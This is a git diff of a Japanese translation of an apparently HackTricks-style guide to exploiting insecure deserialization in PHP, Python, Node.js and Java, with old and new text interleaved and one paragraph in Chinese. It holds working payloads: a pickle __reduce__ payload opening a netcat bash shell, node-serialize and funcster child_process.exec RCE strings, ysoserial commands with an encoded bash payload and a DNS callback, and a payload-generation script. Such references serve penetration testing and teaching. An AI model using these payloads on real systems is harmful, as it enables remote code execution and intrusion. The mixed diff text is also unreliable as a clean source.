したがって、サーバーの`phpinfo()`をチェックし、インターネット上(**PHPGGC**の**ガジェット**を含む)で悪用できる可能性のあるガジェットを**検索**してください。
|
||||
|
||||
### phar:// メタデータのデシリアライゼーション
|
||||
### phar:// metadata deserialization
|
||||
|
||||
ファイル内のPHPコードを実行せずに読み込むだけのLFIを見つけた場合、例えば _**file\_get\_contents(), fopen(), file() や file\_exists(), md5\_file(), filemtime() や filesize()**_**などの関数を使用している場合。** **phar** プロトコルを使用して**ファイルを読み込む**際に発生する**デシリアライゼーション**を悪用することができます。\
|
||||
詳細については、以下の投稿を読んでください:
|
||||
ファイルを読み取り、その中のPHPコードを実行しないLFIを見つけた場合、たとえば`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を使用している場合、**ファイル**を**読み取る**際に発生する**逆シリアル化**を悪用することができます。\
|
||||
詳細については、次の投稿を読んでください:
|
||||
|
||||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||||
|
@ -149,8 +148,8 @@ $ser=serialize($o);
|
|||
|
||||
### **Pickle**
|
||||
|
||||
オブジェクトがアンピクルされると、_\_\_reduce\_\__ 関数が実行されます。\
|
||||
悪用された場合、サーバーはエラーを返す可能性があります。
|
||||
オブジェクトがアンピクルされると、関数 _\_\_reduce\_\__ が実行されます。\
|
||||
悪用されると、サーバーがエラーを返す可能性があります。
|
||||
```python
|
||||
import pickle, os, base64
|
||||
class P(object):
|
||||
|
@ -158,7 +157,7 @@ def __reduce__(self):
|
|||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||||
print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
**pickle jails** からの脱出についての詳細は以下を参照してください:
|
||||
**Pickle jails** からの脱出に関する詳細は、以下を参照してください:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -166,13 +165,13 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||
|
||||
### Yaml **&** jsonpickle
|
||||
|
||||
以下のページでは、Pythonのyamlsライブラリで**安全でないデシリアライゼーションを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml** に対するRCEデシリアライゼーションペイロードを生成するツールについて説明しています:
|
||||
次のページでは、**YAML Pythonライブラリでの安全でない逆シリアル化を悪用**する技術が紹介され、**Pickle、PyYAML、jsonpickle、ruamel.yaml** 用のRCE逆シリアル化ペイロードを生成するために使用できるツールで終了します:
|
||||
|
||||
{% content-ref url="python-yaml-deserialization.md" %}
|
||||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Class Pollution (Python Prototype Pollution)
|
||||
### クラスポリューション(Pythonプロトタイプポリューション)
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
|
@ -182,10 +181,10 @@ print(base64.b64encode(pickle.dumps(P())))
|
|||
|
||||
### JS Magic Functions
|
||||
|
||||
JSにはPHPやPythonのようにオブジェクトを作成するだけで実行される**"マジック"関数**は**ありません**。しかし、**`toString`**, **`valueOf`**, **`toJSON`** など、直接呼び出さなくても**頻繁に使用される関数**があります。\
|
||||
デシリアライゼーションを悪用する場合、これらの関数をコード実行に**悪用することができます**(プロトタイプ汚染を悪用する可能性があります)。これらが呼び出されたときに任意のコードを実行することができます。
|
||||
JSにはPHPやPythonのような**"マジック"関数**はありませんが、オブジェクトを作成するために実行される関数があります。ただし、**`toString`**、**`valueOf`**、**`toJSON`**など、**直接呼び出さなくても頻繁に使用される関数**があります。\
|
||||
逆シリアル化を悪用すると、これらの関数を**妥協して他のコードを実行**できます(プロトタイプポリューションを悪用する可能性があります)。これらの関数が呼び出されるときに任意のコードを実行できます。
|
||||
|
||||
関数を直接呼び出さずに**"マジック"な方法で関数を呼び出す**別の方法は、**非同期関数**(プロミス)によって返されるオブジェクトを悪用することです。なぜなら、その**返されたオブジェクト**を**関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、他のプロミスによって返されるだけで**実行される**からです。詳細は[_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)をフォローしてください。
|
||||
別の**関数を直接呼び出さずに呼び出す** **"マジック"方法**は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されたオブジェクト**を別の**プロミス**に**変換**し、**関数型の"then"プロパティ**を持つと、別のプロミスによって返されるため、**実行**されるからです。詳細は[_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
|
@ -209,9 +208,9 @@ test_ressolve()
|
|||
test_then()
|
||||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||||
```
|
||||
### `__proto__` と `prototype` 汚染
|
||||
### `__proto__` と `prototype` の汚染
|
||||
|
||||
この技術について学びたい場合は、**次のチュートリアルをご覧ください**:
|
||||
このテクニックについて学びたい場合は、**次のチュートリアルを参照してください**:
|
||||
|
||||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||||
|
@ -219,7 +218,7 @@ test_then()
|
|||
|
||||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||||
|
||||
このライブラリは関数のシリアライズを可能にします。例:
|
||||
このライブラリは、関数をシリアル化することを可能にします。例:
|
||||
```javascript
|
||||
var y = {
|
||||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||||
|
@ -232,39 +231,37 @@ console.log("Serialized: \n" + payload_serialized);
|
|||
```bash
|
||||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||||
```
|
||||
例で見ることができるように、関数がシリアライズされるときには、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されます。
|
||||
例では、関数がシリアル化されると、シリアル化されたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されます。
|
||||
|
||||
ファイル `node-serialize/lib/serialize.js` の中で、同じフラグとコードがそれをどのように使用しているかを見つけることができます。
|
||||
`node-serialize/lib/serialize.js` ファイル内に同じフラグが見つかり、コードがどのように使用されているかがわかります。
|
||||
|
||||
![](<../../.gitbook/assets/image (297).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (298).png>)
|
||||
|
||||
最後のコードブロックで見ることができるように、**フラグが見つかった場合** `eval` が関数のデシリアライズに使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**。
|
||||
最後のコードチャンクで見られるように、**フラグが見つかった場合**、`eval` が使用されて関数の逆シリアル化が行われます。つまり、**ユーザー入力が `eval` 関数内で使用されている**ことになります。
|
||||
|
||||
しかし、**単に関数をシリアライズするだけでは** 実行されません。何らかのコードの部分が **私たちの例で `y.rce` を呼び出している** 必要があり、それは非常に**ありそうにない**です。\
|
||||
とにかく、シリアライズされたオブジェクトを **括弧を追加することで変更する** ことで、オブジェクトがデシリアライズされたときにシリアライズされた関数を自動的に実行することができます。\
|
||||
次のコードブロックでは **最後の括弧に注意** し、`unserialize` 関数が自動的にコードを実行する方法を見てください:
|
||||
ただし、関数を単にシリアル化するだけでは、それを実行することはできません。例では、コードの一部が `y.rce` を呼び出している必要があり、それは非常に**望ましくない**です。\
|
||||
とにかく、シリアル化されたオブジェクトを**変更して括弧を追加**するだけで、オブジェクトが逆シリアル化されるときにシリアル化された関数が自動的に実行されるようにすることができます。\
|
||||
次のコードチャンクでは、**最後の括弧**に注目し、`unserialize` 関数がコードを自動的に実行する方法に注目してください:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
```markdown
|
||||
前に示されたように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、`eval`を使用して**実行します**。したがって、**自動実行コード**を実行するためには、関数作成の部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行するだけです**。
|
||||
```
|
||||
如先前所指出,此库将获取`_$$ND_FUNC$$_`后的代码,并使用`eval`来**执行**它。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后的括号,**只需执行一个JS单行代码**,就像以下示例中一样:
|
||||
```javascript
|
||||
var serialize = require('node-serialize');
|
||||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||||
serialize.unserialize(test);
|
||||
```
|
||||
以下は、この脆弱性を悪用する方法についての**さらなる情報**を[**こちらで見つける**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)ことができます。
|
||||
以下は、この脆弱性を悪用する方法に関する詳細情報を[**こちら**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)で見つけることができます。
|
||||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
ここでの興味深い違いは、**標準の組み込みオブジェクトにアクセスできない**ということです。それは、スコープ外であるためです。つまり、私たちのコードを実行することはできますが、組み込みオブジェクトのメソッドを呼び出すことはできません。したがって、`console.log()`や`require(何か)`を使用すると、Nodeは`"ReferenceError: console is not defined"`のような例外を返します。
|
||||
**funcster**の注目すべき側面は、**標準組み込みオブジェクト**へのアクセスの制限です。これらはアクセス可能な範囲外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が阻止され、`"ReferenceError: console is not defined"`のような例外が発生します。例えば、`console.log()`や`require(something)`などのコマンドを使用するとこのような例外が発生します。
|
||||
|
||||
しかし、`this.constructor.constructor("console.log(1111)")();`のようなものを使用してグローバルコンテキストにアクセスすることで、簡単にすべてに再びアクセスすることができます。
|
||||
ただし、特定のアプローチを使用することで、グローバルコンテキストへの完全なアクセス、すべての標準組み込みオブジェクトへのアクセスを復元することが可能です。グローバルコンテキストを直接活用することで、この制限をバイパスすることができます。たとえば、以下のスニペットを使用してアクセスを再確立することができます。
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
//Serialization
|
||||
|
@ -279,19 +276,17 @@ funcster.deepDeserialize(desertest2)
|
|||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
**詳細については、**[**このページを読んでください**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。**
|
||||
**詳細については、[このソースを読んでください](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
このパッケージには**デシリアライズ機能が含まれていません**。自分で実装する必要があります。彼らの例では、直接 `eval` を使用しています。これが公式のデシリアライズ例です:
|
||||
**serialize-javascript** パッケージは、シリアル化のためだけに設計されており、組み込みの逆シリアル化機能を持っていません。ユーザーは、自分自身の逆シリアル化メソッドを実装する責任があります。直接 `eval` の使用が、シリアル化されたデータを逆シリアル化するための公式の例で提案されています。
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
return eval('(' + serializedJavascript + ')');
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
この関数がオブジェクトのデシリアライズに使用されている場合、**簡単に悪用できます**:
|
||||
```
|
||||
この関数を使用してオブジェクトを逆シリアル化すると、**簡単に悪用**できます。
|
||||
```javascript
|
||||
var serialize = require('serialize-javascript');
|
||||
//Serialization
|
||||
|
@ -302,85 +297,90 @@ console.log(test) //function() { return "Hello world!" }
|
|||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||||
deserialize(test)
|
||||
```
|
||||
### Cryo ライブラリ
|
||||
**詳細については、[このソースを読んでください](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
|
||||
|
||||
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法についての情報が見つかります:
|
||||
### Cryoライブラリ
|
||||
|
||||
このライブラリを悪用して任意のコマンドを実行する方法についての情報を以下のページで見つけることができます:
|
||||
|
||||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
Java でのデシリアライズされたオブジェクトの主な問題は、**デシリアライズ中にデシリアライズコールバックが呼び出された**ことです。これにより、**攻撃者**がそのコールバックを**利用し**、コールバックを悪用して**悪意のある行動を実行する**ペイロードを準備することが可能になります。
|
||||
Javaでは、**逆シリアル化コールバックは逆シリアル化プロセス中に実行されます**。この実行は、悪意のあるペイロードを作成し、これらのコールバックをトリガーすることで悪意のあるアクションの実行が可能になる攻撃者によって悪用される可能性があります。
|
||||
|
||||
### 指紋
|
||||
### フィンガープリント
|
||||
|
||||
#### ホワイトボックス
|
||||
|
||||
コード内でシリアライゼーションクラスと関数を探します。例えば、`Serializable` を実装しているクラスや `java.io.ObjectInputStream` __ や `readObject` __ や `readUnshare` 関数の使用を探します。\_
|
||||
コードベース内の潜在的なシリアル化の脆弱性を特定するには、以下を検索してください:
|
||||
|
||||
また、以下にも注意を払うべきです:
|
||||
* `Serializable` インターフェースを実装するクラス。
|
||||
* `java.io.ObjectInputStream`、`readObject`、`readUnshare` 関数の使用。
|
||||
|
||||
* 外部ユーザー定義パラメータを持つ `XMLdecoder`
|
||||
* `fromXML` メソッドを持つ `XStream` (xstream バージョン <= v1.46 はシリアライゼーションの問題に対して脆弱)
|
||||
* `readObject` を持つ `ObjectInputStream`
|
||||
* `readObject`, `readObjectNodData`, `readResolve`, `readExternal` の使用
|
||||
* `ObjectInputStream.readUnshared`
|
||||
* `Serializable`
|
||||
特に注意すべき点:
|
||||
|
||||
* 外部ユーザーによって定義されたパラメーターを使用する `XMLDecoder`。
|
||||
* 特にXStreamバージョンが1.46以下の場合、`XStream`の `fromXML` メソッド。これはシリアル化の問題に対して脆弱です。
|
||||
* `ObjectInputStream` と `readObject` メソッドの組み合わせ。
|
||||
* `readObject`、`readObjectNodData`、`readResolve`、または `readExternal` などのメソッドの実装。
|
||||
* `ObjectInputStream.readUnshared`。
|
||||
* `Serializable` の一般的な使用。
|
||||
|
||||
#### ブラックボックス
|
||||
|
||||
**java シリアライズ** オブジェクトの **指紋/マジックバイト** (`ObjectInputStream` から):
|
||||
ブラックボックステストでは、`ObjectInputStream` から派生したJavaシリアル化オブジェクトを示す特定の **シグネチャまたは "マジックバイト"** を探してください:
|
||||
|
||||
* Hex で `AC ED 00 05`
|
||||
* Base64 で `rO0`
|
||||
* HTTP レスポンスの `Content-type` ヘッダーが `application/x-java-serialized-object` に設定されている
|
||||
* Hex で圧縮された `1F 8B 08 00`
|
||||
* Base64 で圧縮された `H4sIA`
|
||||
* 拡張子が `.faces` で、`faces.ViewState` パラメータを持つ Web ファイル。このようなものを webapp で見つけた場合は、[**Java JSF VewState Deserialization についての投稿**](java-jsf-viewstate-.faces-deserialization.md)を確認してください。
|
||||
* 16進数パターン:`AC ED 00 05`。
|
||||
* Base64パターン:`rO0`。
|
||||
* `Content-type` が `application/x-java-serialized-object` に設定されたHTTPレスポンスヘッダー。
|
||||
* 圧縮前を示す16進数パターン:`1F 8B 08 00`。
|
||||
* 圧縮前を示すBase64パターン:`H4sIA`。
|
||||
* `.faces` 拡張子と `faces.ViewState` パラメーターを持つWebファイル。Webアプリケーションでこれらのパターンを発見した場合は、[Java JSF ViewState Deserializationに関する投稿](java-jsf-viewstate-.faces-deserialization.md)の詳細な調査を促すべきです。
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### 脆弱性の確認
|
||||
### 脆弱性があるかどうかをチェックする
|
||||
|
||||
**Javaのデシリアライズエクスプロイトがどのように機能するか学びたい**場合は、[**基本的なJavaデシリアライズ**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNSデシリアライズ**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1ペイロード**](java-transformers-to-rutime-exec-payload.md)を参照してください。
|
||||
**Java Deserialized exploitの動作原理を学びたい**場合は、[**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md)を参照してください。
|
||||
|
||||
#### ホワイトボックステスト
|
||||
|
||||
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
|
||||
既知の脆弱性を持つアプリケーションがインストールされていないかどうかをチェックすることができます。
|
||||
```bash
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
以下の内容は、脆弱性のある既知のライブラリを**すべてチェック**し、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるものを確認することができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に記載されているライブラリをチェックすることもできます。\
|
||||
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、悪用可能なガジェットチェーンを探すことができます。\
|
||||
**gadgetinspector**を実行するとき(ビルド後)、多数の警告/エラーについては気にせず、完了するまで待ちます。結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hour-min.txt_の下に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、誤検知を示す可能性がある**ことに注意してください。
|
||||
**脆弱性のあるすべてのライブラリ**をチェックして、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できることが知られているライブラリを確認することができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)で示されているライブラリをチェックすることもできます。\
|
||||
また、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、悪用できる可能性のあるガジェットチェーンを検索することができます。\
|
||||
**gadgetinspector**を実行する際(ビルド後)、通過する多くの警告/エラーに気にせず、完了させてください。すべての調査結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_の下に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、誤検知を示す可能性があります**。
|
||||
|
||||
#### ブラックボックステスト
|
||||
|
||||
Burp拡張機能の[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**利用可能なライブラリ**(バージョンも含む)を特定できます。この情報をもとに、脆弱性を悪用するためのペイロードを**選びやすくなる**かもしれません。\
|
||||
[**GadgetProbeについてもっと学ぶにはこちらを読んでください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)。\
|
||||
GadgetProbeは**`ObjectInputStream`**のデシリアライゼーションに特化しています。
|
||||
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**使用可能なライブラリ(バージョンも含む)を特定**できます。この情報を使用すると、脆弱性を悪用するためのペイロードを選択するのが**簡単になる**かもしれません。\
|
||||
[GadgetProbeについて詳しくはこちらを読んでください](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
|
||||
GadgetProbeは**`ObjectInputStream`の逆シリアル化**に焦点を当てています。
|
||||
|
||||
Burp拡張機能の[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、ysoserialで悪用可能な**脆弱なライブラリ**を特定し、**悪用**することができます。\
|
||||
[**Java Deserialization Scannerについてもっと学ぶにはこちらを読んでください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライゼーションに特化しています。
|
||||
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、ysoserialを使用して**脆弱なライブラリを特定**し、それらを**悪用**することができます。\
|
||||
[Java Deserialization Scannerについて詳しくはこちらを読んでください](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scannerは**`ObjectInputStream`**の逆シリアル化に焦点を当てています。
|
||||
|
||||
また、[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**でのデシリアライゼーション**脆弱性を検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライゼーションライブラリの脆弱性も検出します。アクティブモードでは、sleepやDNSペイロードを使用してそれらを確認しようとします。\
|
||||
[**Freddyについての詳細はこちらをご覧ください。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
また、[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**逆シリアル化**脆弱性を検出することができます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**逆シリアル化ライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用してそれらを確認しようとします。\
|
||||
[Freddyに関する詳細情報はこちらで確認できます](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**シリアライゼーションテスト**
|
||||
**シリアル化テスト**
|
||||
|
||||
サーバーが脆弱なライブラリを使用しているかどうかをチェックするだけではありません。時には、シリアライズされたオブジェクト内のデータを**変更して、いくつかのチェックをバイパス**することができるかもしれません(例えば、Webアプリ内で管理者権限を付与する)。\
|
||||
JavaシリアライズオブジェクトがWebアプリケーションに送信されていることがわかった場合、[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライゼーションオブジェクトをより人間が読みやすい形式で**印刷することができます**。どのデータを送信しているかを知ることで、それを変更していくつかのチェックをバイパスするのが簡単になるでしょう。
|
||||
サーバーで使用されている脆弱なライブラリをチェックするだけではありません。時には、シリアル化オブジェクト内のデータを変更して、一部のチェックをバイパスできるかもしれません(たとえば、Webアプリ内で管理者権限を付与できるかもしれません)。\
|
||||
Webアプリケーションに送信されるJavaシリアル化オブジェクトを見つけた場合、[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアル化オブジェクトをより人間が読みやすい形式で表示できます。送信しているデータを知ることで、それを変更して一部のチェックをバイパスするのが簡単になります。
|
||||
|
||||
### **エクスプロイト**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Javaデシリアライゼーションを悪用するための最も有名なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)([**ここからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))です。複雑なコマンド(例えばパイプを使用する)を使用できる[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
このツールは**`ObjectInputStream`**を悪用することに**特化**しています。\
|
||||
RCEペイロードをテストする前に、注入が可能かどうかをテストするために**"URLDNS"**ペイロードの使用から**始めることをお勧めします**。ただし、"URLDNS"ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
|
||||
Java逆シリアル化を悪用するための主要ツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。複雑なコマンド(たとえば、パイプを使用したもの)を使用できるようにする[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)を使用することも検討できます。\
|
||||
このツールは**`ObjectInputStream`**の悪用に焦点を当てています。\
|
||||
可能であれば、インジェクションが可能かどうかをテストするために、**RCE**ペイロードの前に**「URLDNS」**ペイロードを使用することをお勧めします。とにかく、「URLDNS」ペイロードが機能しないかもしれませんが、他のRCEペイロードは機能するかもしれません。
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
|
@ -425,11 +425,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
|||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
```markdown
|
||||
**java.lang.Runtime.exec()** 用のペイロードを作成する際、実行結果をリダイレクトするための ">" や "|"、コマンドを実行するための "$()"、または **スペース** で区切られたコマンドへの **引数の渡し**(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` は不可能です)などの**特殊文字を使用することはできません**。ペイロードを正しくエンコードするためには、[このウェブページを使用することができます](http://www.jackson-t.ca/runtime-exec-payloads.html)。
|
||||
**java.lang.Runtime.exec()**のペイロードを作成する際、実行の出力をリダイレクトするための特殊文字(">"や"|")や、コマンドを実行するための"$()"、コマンドにスペースで区切られた引数を渡すことはできません(`echo -n "hello world"`はできますが、`python2 -c 'print "Hello world"'`はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html)を使用できます。
|
||||
|
||||
WindowsとLinuxの**すべての可能なコード実行**ペイロードを作成し、それらを脆弱なウェブページでテストするために、次のスクリプトを自由に使用してください:
|
||||
```
|
||||
次のスクリプトを使用して、WindowsとLinux用の**すべての可能なコード実行**ペイロードを作成し、その脆弱なウェブページでテストしてください。
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
|
@ -450,14 +448,14 @@ open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
|||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
#### シリアルキラーバイパスガジェット
|
||||
|
||||
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) を **ysoserial** と一緒に使って、より多くのエクスプロイトを作成することができます。このツールに関する詳細は、ツールが紹介された**トークのスライド**で確認できます: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **を使用して、ysoserialと組み合わせてより多くのエクスプロイトを作成できます**。このツールに関する詳細は、ツールが発表された**スライド**で確認できます: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec) は、Javaの異なる **Json** と **Yml** シリアライゼーションライブラリを悪用するためのペイロードを生成するために使用できます。\
|
||||
プロジェクトをコンパイルするためには、`pom.xml` に以下の**依存関係**を**追加**する必要がありました:
|
||||
[**marshalsec**](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアライゼーションライブラリを悪用するペイロードを生成するために使用できます。\
|
||||
プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加する必要がありました**:
|
||||
```markup
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
|
@ -472,62 +470,59 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
|||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**mavenをインストールし**、プロジェクトを**コンパイル**します:
|
||||
**Mavenをインストール**し、プロジェクトを**コンパイル**してください:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
このJava JSONライブラリについてもっと読む: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
このJava JSONライブラリについて詳しくはこちらを参照してください: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
|
||||
* ysoserialペイロードをテストしたい場合は、**このwebappを実行**できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
* いくつかのysoserialペイロードをテストしたい場合は、**このWebアプリ**を実行できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
